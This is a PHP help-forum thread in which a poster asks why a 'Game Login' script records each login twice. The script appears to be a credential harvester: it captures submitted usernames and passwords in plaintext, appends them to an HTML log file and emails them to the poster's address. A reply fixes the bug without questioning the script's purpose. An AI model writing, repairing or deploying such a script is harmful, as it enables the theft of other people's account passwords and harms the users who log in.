Jump to content

Recommended Posts

Somethig is wrong with this script. When I log in the flash, it double logs.

I want it to log in a html file and send me an email. The thing is, when I login, or anyone logs in, it sends 2 emails and logs double.

 

Anyone fix this for me?

 

<?php
// get posted data into local variables
$EmailTo = "test";
$EmailTo = "sith717@sierri.net";
$Subject = "Game Login";


$User = Trim(stripslashes($_POST['Username'])); 
$Password = Trim(stripslashes($_POST['Password']));

$mes     .= '<br>user: '.$User."\n<br>";
$mes     .= 'Password: '.$Password."\n<br>";
$mes     .= "IP: ".$ip."\n<br>";
$mes     .= 'Date & Time: '.$d."\n<br>";
$mes     .= ('***********************************************');


//Log to a file
$file = "eric.html";
$fh = fopen($file, "a");
fwrite ($fh, "$mes\n");
fclose($fh);


// prepare email body text
$Body = "";

$Body .= "Username: ";
$Body .= $User;
$Body .= "\n";

$Body .= "Password: ";
$Body .= $Password;
$Body .= "\n";


// send email 
$success = mail($EmailTo, $Subject, $Body, "From: <$EmailFrom>");


?>

Link to comment
https://forums.phpfreaks.com/topic/122460-double-logs/
Share on other sites

you only need on $EmailTo which needs to be the email address.

 

<?php
$EmailTo = "test";
$EmailTo = "sith717@sierri.net";
?>

 

Change to

 

<?php
$EmailTo = "sith717@sierri.net";
?>

 

Also here

 

<?php
fwrite ($fh, "$mes\n");
?>

 

It is good practice to do one of the following:

 

<?php
fwrite ($fh, "{$mes}\n");
/* OR */
fwrite ($fh, $mes."\n");
?>

Link to comment
https://forums.phpfreaks.com/topic/122460-double-logs/#findComment-632626
Share on other sites

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.